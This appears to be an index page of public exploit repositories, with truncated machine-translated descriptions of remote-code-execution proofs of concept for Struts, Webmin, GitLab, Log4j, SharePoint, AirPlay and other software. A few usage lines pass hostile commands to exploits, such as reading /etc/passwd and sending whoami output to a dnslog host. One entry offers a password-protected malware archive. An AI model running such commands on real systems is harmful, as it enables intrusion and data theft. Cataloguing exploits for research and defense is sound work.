ShellEvil

ShellEvil Jonatas Fil Dkr Julio Della Flora Thiago Sena THX Эксплойт интерактивной оболочки Struts 2 DefaultActionMapper для CVE-2013-225 S2-016 DefaultActionMapper в Struts 2 поддерживает метод для сокращённых изменений состояния навигации путём добавления префиксов к параметрам "action:" или...

cve-2021-1647

CVE-2021-1647 Уязвимость удаленного выполнения кода в Microsoft Defender ИНФО Пароль:infected...

masta-cve-2026-48907

Сканер MASTA CVE-2026-48907 Однофайловый автономный сканер для Joomla! JCE Editor Автор: Hussein Mohamed masta ghimau !CAUTION 🚨 ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ — ПРОЧТИТЕ ПЕРЕД ИСПОЛЬЗОВАНИЕМ ЭТО ИНСТРУМЕНТ ДЛЯ ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ С ВТОРЖЕНИЕМ. ЭТОТ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ АВТОРИЗОВАНН...

CVE-2026-54806

WP Activity Log PHP Object Injection CVE-2026-54806 PoC 📜 Описание CVE-2026-54806 — это критическая CVSS 9.8 неаутентифицированная уязвимость PHP Object Injection в WordPress-плагине WP Activity Log wp-security-audit-log от Melapress. Неаутентифицированный злоумышленник может внедрить...

CVE-2019-15642

CVE-2019-15642 Webmin удаленное выполнение кода с аутентификацией Использование python: python CVE-2019-15642.py https://xxx.xxx.xxx:10000 "cat /etc/passwd" 0x01 docker для Webmin cd /vulhub/webmin/CVE-2019-15107 docker-compose up -d root@9460493fa985:/ passwd root Webmin...

nextjs-rce-incident-response

Реагирование на инцидент RCE в Next.js — CVE-2025-55182 Тип: Реагирование на инцидент в реальном времени Уязвимость: CVE-2025-55182 — Небезопасная десериализация React Server Components RCE Затронутая система: фронтенд Next.js + удаленный production-сервер Роль: Стажер по кибербезопасности —...

CVE-2017-5638-PoC

CVE-2017-5638 Apache Struts 2 RCE: доказательство концепции Этот репозиторий содержит скрипт доказательства концепции PoC, демонстрирующий уязвимость удаленного выполнения кода RCE, идентифицированную как CVE-2017-5638 в Apache Struts 2. Детали уязвимости CVE ID: CVE-2017-5638 Затронутое ПО: Apac...

Log4j-Vulnerability

Log4j 취약점 튜토리얼: https://youtu.be/PNDBjoT83zA 튜토리얼: https://cryptodeeptech.ru/log4j-vulnerability Log4j 배경 알리바바 클라우드 보안 팀은 여러 버전의 Apache Log4j2Log4Shell에 대해 인증되지 않은 원격 코드 실행을 가능하게 하는 치명적인 취약점 CVE-2021-44228을 공개적으로 공개했습니다. 공격자는 HTTPS와 같은 모든 프로토콜을 통해 연결하고 특수하게 조작된 문자열을 전송하여 취약한 서버를 악용할 수 있습니다. Log4j...

CVE-2025-55182-exp

CVE-2025-55182-exp 🔥 Обзор CVE-2025-55182 — это критическая уязвимость удаленного выполнения кода RCE в React Server Components RSC, затрагивающая приложения Next.js, использующие App Router с Server Actions. Уязвимость существует в процессе десериализации протокола Flight, что позволяет...

Spring4Shell-POC

Spring4Shell-POC CVE-2022-22965 Spring4Shell CVE-2022-22965 Доказательство концепции/Информация + Уязвимый Tomcat сервер с уязвимым spring4shell приложением. Сегодня рано утром несколько источников сообщили о возможном RCE-эксплойте в популярном Java-фреймворке Spring. Название этой уязвимости...

Nostromo_Python3

Nostrom RCE Python3 Эксплойт код: Использование: $ python3 ./exp.py vulnerable.host 8080 id uid=65534 gid=65534...

CVE-2020-9496

CVE-2020-9496 - RCE Поскольку два запроса, связанных с xmlrpc, в webtools xmlrpc и ping не используют аутентификацию, они уязвимы для небезопасной десериализации. Эта проблема была сообщена команде безопасности Альваро Муньосом [email protected] из команды GitHub Security Lab. Эта уязвимость...

text4shell-cve-2022-42889

Text4Shell CVE-2022-42889 Docker Lab для CVE-2022-42889 Вы можете либо собрать Docker-образ локально, либо загрузить образ из Docker Hub и запустить контейнер. Клонирование репозитория git clone https://github.com/devenes/text4shell-cve-2022-42889.git Сборка Docker-образа локально docker build...

AirBorne-PoC

AirBorne PoC 프레임워크 – Elite RCE 에디션 CVE-2025-24252 및 CVE-2025-24132용 전체 PoC 프레임워크 제작: ekomsSavior | AirBorne은 Apple의 AirPlay 서비스에서 발견된 두 가지 심각한 취약점을 대상으로 하는 통합 PoCproof-of-concept 프레임워크입니다. 완전한 크래시 트리거와 역방향 셸reverse shell 익스플로잇을 포함하며, 선택적 지속성persistence, 리스너listener, 여러 페이로드 형식을 하나의 스크립트로 제공합니다. 원...

CVE-2025-53770-Exploit

📌 Инструментарий эксплуатации инъекции WebPart в SharePoint 🍕 Инструмент для эксплуатации инъекции WebPart в SharePoint через ToolPane.aspx, приводящей к десериализации .NET и потенциальному удалённому выполнению кода RCE. Разработано: @GOTOCVE 🌍 Обзор Этот инструмент эксплуатирует уязвимость в...

CVE-2019-5418

CVE-2019-5418 - Раскрытие содержимого файлов в Rails EDIT : эта CVE может привести к удаленному выполнению кода, подробнее: https://github.com/mpgn/Rails-doubletap-RCE Существует возможная уязвимость раскрытия содержимого файлов в Action View. Специально созданные заголовки Accept в сочетании с...

accfly

Насколько безопасна ваша «охранная» камера? Краткое содержание В начале 2020 года, на моём прежнем месте работы, мне довелось принять участие во внутреннем мероприятии в стиле pwn2own. Было несколько доступных целей, но больше всего меня заинтересовала беспроводная охранная камера Accfly. К...

CVE-2021-22205

CVE-2021-22205 Затронутые версии: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Использование python3 CVE-2021-22205.py target "curl \whoami.dnslog" Получение csrf-token: Через /users/signin получаем csrf-token, затем с помощью предыдущего CVE-2021-22205 poc формируем пакет для...

CVE-2024-6782

CVE-2024-6782 Calibre удаленное выполнение кода CVE-2024-6782. Некорректный контроль доступа в Calibre 6.9.0 7.14.0 позволяет неаутентифицированным злоумышленникам добиться удаленного выполнения кода...

CVE-2025-68613-POC

🚨 CVE-2025-68613: n8n의 심각한 RCE 취약점 목차 1. 개요 2. n8n이란? 3. 취약점 기본 4. 기술적 세부 사항 5. 영향받는 버전 6. 악용 메커니즘 7. 실제 영향 8. 탐지 방법 9. 수정 및 완화 10. 리소스 및 참고 자료 개요 CVE-2025-68613 은 인기 있는 오픈 소스 워크플로우 자동화 플랫폼인 n8n 에서 발견된 심각한 원격 코드 실행RCE 취약점입니다. 이 취약점은 인증된 사용자가 서버에서 임의의 코드를 실행할 수 있게 하여, 잠재적으로 시스템 전체가 손상될 수 있습니다. 빠른 ...